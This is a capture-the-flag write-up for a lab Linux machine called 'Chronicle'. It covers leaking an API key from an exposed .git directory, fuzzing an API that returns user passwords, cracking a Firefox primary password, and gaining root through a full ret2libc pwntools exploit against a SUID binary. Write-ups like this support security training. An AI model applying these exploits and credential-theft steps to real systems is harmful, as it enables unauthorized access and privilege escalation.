This is a Linux machine with ssh and two different web services enabled. One of the web services had an API vulnerability that could leak user credentials (though it required a key). Coincidentally, another service had a source code disclosure vulnerability. We found the required key in the Git logs, thereby obtaining SSH login credentials.

Subsequently, by decrypting Firefox browser data, we acquired credentials for another user for lateral movement.

Within their home directory, we discovered a SUID program with a buffer overflow vulnerability and weak security protections. We exploited this using ret2libc to gain root privilege.

Summary

Scope

  • Name: Chronicle
  • Difficulty: Medium
  • OS: Linux
  • IP: 10.48.136.166

Learned

  • The webpage source code and Javascript may contain API endpoints that require our attension.
  • When enumerating web directories, be mindful of common version control directories.
  • Credentials may be stored in the browser profile within the user's home directory.
  • During privilege escalation, SUID and sudo rules must be considered first.

Enumeration

Nmap

As I memtioned earlier, I will scan the target host in four main stages.

Overall

nmap -sT --min-rate 5000 -oN overall [IP]

Host is up (0.27s latency).
Not shown: 984 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
8081/tcp  open     blackice-icecap

Detail

nmap -sC -sV -O -vv -p22,80,8081 -oN detail [IP]

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b2:4c:49:da:7c:9a:3a:ba:6e:59:46:c2:a9:e6:a2:35 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDELanAivcbXHH+RqBWDQUmT0TJPTzxJ4XOLkZ4hQYAYCUXQ25C24k6ijW6MnKiImF9m9CoMdlzXIAC/DYArGJu+q5L68V1SAaqtS5YljXGb517Qi4ixekjaLua9Z+Du00c0nGWC46WA+JCjI6UP8FlTyNONXJ4Wv8T7ZA6T8rTrWZWd6dSTIKaZaN8fsD31cIJMuX2whX8IczzwzFuxp2ucPLJ0IwpoiX3ubuqUz4kkNi8FI5T2hweqqygLPmdA8AySZrIbmC4AusmmHwSf99aUHXjZ5Z6fHbHAwH0dsGDFaDvHuVFEp4l1h9TpZiKghUllDx9+6eRyKprJMpfvXZ1
|   256 7a:3e:30:70:cf:32:a4:f2:0a:cb:2b:42:08:0c:19:bd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPxb2LHHqkJNa+RUETb+7kg2rLKG3IxkiOZnG3YP7R5hd2KqQC1eJL1UyHcBKdOYrFllM43rkqfDVSxtm2f/ivc=
|   256 4f:35:e1:33:96:84:5d:e5:b3:75:7d:d8:32:18:e0:a8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPwYIfNblUpR0Hf/77s33mZq1OUXZD4jQacBQBwiLapr
80/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
8081/tcp open  http    syn-ack ttl 62 Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (96%), Google Android 10.X|11.X|12.X (93%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:google:android:10 cpe:/o:google:android:11 cpe:/o:google:android:12 cpe:/o:linux:linux_kernel:5.4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (95%), Linux 5.4 (95%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 10 - 11 (Linux 4.14) (92%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=1/20%OT=22%CT=%CU=32384%PV=Y%DS=3%DC=I%G=N%TM=696F1DF7%P=arm-apple-darwin24.4.0)
SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
SEQ(SP=FF%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)
OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

UDPScan

nmap -sU --top-port 20 -oN UDPScan [IP]

Host is up (0.27s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   closed        syslog
520/udp   closed        route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  closed        nat-t-ike
49152/udp closed        unknown

VulnScan (optional)

nmap --script=vuln -p22,80,8081 -oN vulnscan [IP]

Vulnerability scanning will execute Nmap's default service scripts for the specified ports.

$ ls /usr/share/nmap/scripts
acarsd-info.nse                       hostmap-robtex.nse                      ip-geolocation-map-kml.nse            rsync-brute.nse
address-info.nse                      http-adobe-coldfusion-apsa1301.nse      ip-geolocation-maxmind.nse            rsync-list-modules.nse
afp-brute.nse                         http-affiliate-id.nse                   ip-https-discover.nse                 rtsp-methods.nse
afp-ls.nse                            http-apache-negotiation.nse             ipidseq.nse                           rtsp-url-brute.nse
afp-path-vuln.nse                     http-apache-server-status.nse           ipmi-brute.nse                        rusers.nse
afp-serverinfo.nse                    http-aspnet-debug.nse                   ipmi-cipher-zero.nse                  s7-info.nse
afp-showmount.nse                     http-auth-finder.nse                    ipmi-version.nse                      samba-vuln-cve-2012-1182.nse
ajp-auth.nse                          http-auth.nse                           ipv6-multicast-mld-list.nse           script.db
ajp-brute.nse                         http-avaya-ipoffice-users.nse           ipv6-node-info.nse                    servicetags.nse
ajp-headers.nse                       http-awstatstotals-exec.nse             ipv6-ra-flood.nse                     shodan-api.nse
ajp-methods.nse                       http-axis2-dir-traversal.nse            irc-botnet-channels.nse               sip-brute.nse
ajp-request.nse                       http-backup-finder.nse                  irc-brute.nse                         sip-call-spoof.nse
allseeingeye-info.nse                 http-barracuda-dir-traversal.nse        irc-info.nse                          sip-enum-users.nse
amqp-info.nse                         http-bigip-cookie.nse                   irc-sasl-brute.nse                    sip-methods.nse

Fuzz (API vuln)

We know there are two different web services with that machine. Let's explore the front-end pages and see if there's anything worth noting.

2026-01-20_17-43-50_screenshot.png

And we discovered that the login functionality is not implmented but /forgot endpoint is accessible.

2026-01-20_17-48-26_screenshot.png

Nice, but we don't know what the correct key is!

$ curl -X POST -d '{"key": "NULL"}' 'http://10.48.136.166:8081/api/admin'
Invalid API Key

Source code Disclosure

Let's goto another web service.

2026-01-20_17-51-55_screenshot.png

Nothing seems particularly interesting. So we should consider to enumerate it.

$ gobuster dir -u http://10.48.136.166/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.48.136.166/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta                 (Status: 403) [Size: 278]
.htaccess            (Status: 403) [Size: 278]
.htpasswd            (Status: 403) [Size: 278]
index.html           (Status: 200) [Size: 15]
old                  (Status: 301) [Size: 312] [--> http://10.48.136.166/old/]
server-status        (Status: 403) [Size: 278]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished

Oh, there're something interesting leak to us. It hints us that webapp has been moved to new directory, may be this original not cleanup properly.

2026-01-20_17-58-00_screenshot.png

Let's fuzz it.

$ gobuster dir -u http://10.48.136.166/old/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.48.136.166/old/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.git/HEAD            (Status: 200) [Size: 23]
.htaccess            (Status: 403) [Size: 278]
.hta                 (Status: 403) [Size: 278]
.htpasswd            (Status: 403) [Size: 278]
Progress: 181 / 4613 (3.92%)^C

Yeah, It did not clean up the .git directory! We can download it with wget --recursive --continue http://10.48.136.166:80/old/.git. Then we can show the detail git log with git log -p and we will found this:

commit 33891017aa63726711585c0a2cd5e39a80cd60e6
Author: root <cirius@incognito.com>
Date:   Fri Mar 26 22:34:33 2021 +0000

    Finishing Things

diff --git a/app.py b/app.py
index 8c729fd..cbf47f5 100644
--- a/app.py
+++ b/app.py
@@ -22,11 +22,11 @@ def info(uname):
     print("OK")
     data=request.get_json(force=True)
     print(data)
-    if(data['key']=='abcd'):
+    if(data['key']=='74****************************ef'):
         if(uname=="admin"):
-            return '{"username":"admin","password":"password"}'
+            return '{"username":"admin","password":"password"}'     #Default Change them as required
         elif(uname=="someone"):
-            return '{"username":"someone","password":"someword"}'
+            return '{"username":"someone","password":"someword"}'   #Some other user
         else:
             return 'Invalid Username'
     else:

Maybe that's the key!!

$ curl -X POST -d '{"key": "74****************************ef"}' 'http://10.48.136.166:8081/api/admin'
Invalid Username

Good! Now we have the correct key and we want to fuzz what user info we can get from this API endpoint. ffuf will help us.

$ ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d '{"key": "7454c262d0d5a3a0c0b678d6c0dbc7ef"}' -u 'http://10.48.136.166:8081/api/FUZZ' -fw 2

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.48.136.166:8081/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
 :: Data             : {"key": "7454c262d0d5a3a0c0b678d6c0dbc7ef"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 2
________________________________________________

tommy                   [Status: 200, Size: 49, Words: 1, Lines: 1, Duration: 410ms]
:: Progress: [10713/10713] :: Job [1/1] :: 55 req/sec :: Duration: [0:05:02] :: Errors: 0 ::

The user tommy stands out. Let's see what the response that API will return.

$ curl -X POST -d '{"key": "74****************************ef"}' 'http://10.48.136.166:8081/api/tommy'
{"username":"tommy","password":"Dev***********1"}

Foothold

Now, Let's SSH with that credential.

$ ssh tommy@10.48.136.166
The authenticity of host '10.48.136.166 (10.48.136.166)' can't be established.
ED25519 key fingerprint is: SHA256:B60EpPl2+Wzi63sLsxMDA4mwQ4W1Rc98XeO/0rlYvCM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.136.166' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
tommy@10.48.136.166's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan 20 07:14:44 UTC 2026

  System load:  0.01              Processes:           105
  Usage of /:   60.8% of 8.79GB   Users logged in:     0
  Memory usage: 13%               IP address for ens5: 10.48.136.166
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

73 packages can be updated.
1 update is a security update.


*** System restart required ***
Last login: Fri Apr 16 14:05:02 2021 from 192.168.29.217
tommy@incognito:~$

Yeah, we obtain the user credential.

tommy@incognito:~$ ls -al
total 44
drwxr-xr-x 7 tommy tommyV 4096 Jun 11  2021 .
drwxr-xr-x 4 root  root   4096 Apr  3  2021 ..
lrwxrwxrwx 1 root  root      9 Apr  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 tommy tommyV  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 tommy tommyV 3771 Apr  4  2018 .bashrc
drwx------ 2 tommy tommyV 4096 Apr  3  2021 .cache
drwxr-x--- 3 tommy tommyV 4096 Apr  3  2021 .config
drwx------ 4 tommy tommyV 4096 Apr  3  2021 .gnupg
drwxr-xr-x 3 tommy tommyV 4096 Apr  3  2021 .local
-rw-r--r-- 1 tommy tommyV  807 Apr  4  2018 .profile
-rw-r--r-- 1 tommy tommyV   33 Apr  3  2021 user.txt
drwxr-xr-x 5 tommy tommyV 4096 Apr  3  2021 web
tommy@incognito:~$ cat user.txt
7b****************************ad

Privilege Escalation

First of all, let's check sudo rule and SUID programs.

tommy@incognito:~$ sudo -l
[sudo] password for tommy:
Sorry, user tommy may not run sudo on incognito.
tommy@incognito:~$ find / -perm -u=s -user root -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/gpasswd
/bin/umount
/bin/ping
/bin/su
/bin/mount
/bin/fusermount

Unfortunately, Neither of these approaches seems to work.

Lateral Movement

Since direct privilege escalation isn't feasible, we can attempt lateral movement to other privileges (users).

Here, we filter out users with login shells.

tommy@incognito:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
carlJ:x:1002:1002::/home/carlJ:/bin/bash
tommy:x:1001:1001::/home/tommyV:/bin/bash

There is a carlJ user with following home directory structure:

tommy@incognito:/home/carlJ$ ls -la
total 44
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11  2021 .
drwxr-xr-x 4 root  root  4096 Apr  3  2021 ..
lrwxrwxrwx 1 root  root     9 Apr  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 carlJ carlJ  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 carlJ carlJ 3772 Mar 26  2021 .bashrc
drwx------ 4 carlJ carlJ 4096 Apr  3  2021 .cache
drwxr-x--- 3 carlJ carlJ 4096 Apr  3  2021 .config
drwx------ 3 carlJ carlJ 4096 Apr  3  2021 .gnupg
drwxrwxr-x 3 carlJ carlJ 4096 Apr 16  2021 .local
drwx------ 2 carlJ carlJ 4096 Apr 16  2021 mailing
drwxr-xr-x 5 carlJ carlJ 4096 Mar 28  2021 .mozilla
-rw-r--r-- 1 carlJ carlJ  808 Mar 26  2021 .profile

We notice that there are two interesting directories:

  • mailing: which only the user itself has permission for rwx, this make me think what contents of that directory.
  • .mozilla: this directory often used to store browser data like password, and there is github repo for this purpose firefox_decrypt

Password Extraction

$ python firefox_decrypt/firefox_decrypt.py firefox
Select the Mozilla profile you wish to decrypt
1 -> 45ir4czt.default
2 -> 0ryxwn4c.default-release
2

Primary Password for profile firefox/0ryxwn4c.default-release:
ERROR - Primary password is not correct

We need master password to decrypt it. The rockyou.txt wordlist will help us, write a script to find the correct password.

$ ./decrypt.sh
correct password: p********
Select the Mozilla profile you wish to decrypt
1 -> 45ir4czt.default
2 -> 0ryxwn4c.default-release
Reading Primary password from standard input:

Website:   https://incognito.com
Username: 'dev'
Password: 'Pa**********7'

Ret2libc

When we escalate to user carlJ, we will notice that there is a SUID program in mailing directory:

tommy@incognito:/home/carlJ/.mozilla$ su carlJ
Password:
carlJ@incognito:~/.mozilla$ id
uid=1002(carlJ) gid=1002(carlJ) groups=1002(carlJ)

carlJ@incognito:~/mailing$ sudo -l
[sudo] password for carlJ:
Sorry, user carlJ may not run sudo on incognito.


carlJ@incognito:~/mailing$ ls -al
total 20
drwx------ 2 carlJ carlJ 4096 Apr 16  2021 .
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11  2021 ..
-rwsrwxr-x 1 root  root  8544 Apr  3  2021 smail

checksec this executable file we discovered that it had only enabled NX protection.

carlJ@incognito:~/mailing$ checksec smail
[*] '/home/carlJ/mailing/smail'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Additionally, there is a buffer overflow vulnerability exist!

carlJ@incognito:~/mailing$ ./smail
What do you wanna do
1-Send Message
2-Change your Signature
2
Write your signature...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Changed
Segmentation fault (core dumped)

Until now, the first approach we should consider is ret2libc. Since we can obtain base address of libc easily.

carlJ@incognito:~/mailing$ ldd smail
	linux-vdso.so.1 (0x00007ffff7ffa000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)

And we also need some gadgets for exploitation.

carlJ@incognito:~/mailing$ python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> hex(lib.symbols.system)
'0x4f550'
>>> hex(next(lib.search(b'/bin/sh')))
'0x1b3e1a'
>>> hex(rop.find_gadget(['pop rdi', 'ret'])[0])
'0x215bf'

Woo! The only thing we need is the padding of overflow which we can obtain with gdb and pwntools's cyclic.

carlJ@incognito:~/mailing$ cyclic 1000 > pattern
carlJ@incognito:~/mailing$ gdb ./smail
(gdb) r
Starting program: /home/carlJ/mailing/smail
What do you wanna do
1-Send Message
2-Change your Signature
2
Write your signature...
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
Changed

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006de in sig ()
(gdb) x/s $rsp
0x7fffffffe3d8:	"saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraac"...
(gdb) x/i $rip
=> 0x4006de <sig+39>:	retq

Yeah, we will get the correct padding size with cyclic_find('saaa').

Here is the completely exploit scripts:

from pwn import *

context.binary = elf = ELF('./smail', checksec=False)

rop = ROP(elf)
poprdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

libc_base = 0x00007ffff79e2000
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
binsh = next(libc.search(b'/bin/sh')) + libc_base
system = libc.symbols.system + libc_base

log.info(f'binsh: {hex(binsh)}')
log.info(f'system: {hex(system)}')

payload = cyclic(cyclic_find('saaa'))
payload += p64(ret) # for alignment
payload += p64(poprdi_ret)
payload += p64(binsh)
payload += p64(system)

io = elf.process()

io.sendline(b'2')

io.sendline(payload)
io.interactive()

Boom

Execute it will lead us to root.

carlJ@incognito:~/mailing$ python3 exp.py
[*] Loaded 14 cached gadgets for './smail'
[*] binsh: 0x7ffff7b95e1a
[*] system: 0x7ffff7a31550
[+] Starting local process '/home/carlJ/mailing/smail': pid 25490
[*] Switching to interactive mode
What do you wanna do
1-Send Message
2-Change your Signature
Write your signature...
Changed
$ id
uid=0(root) gid=1002(carlJ) groups=1002(carlJ)
$ cat /root/root.txt
f2****************************b2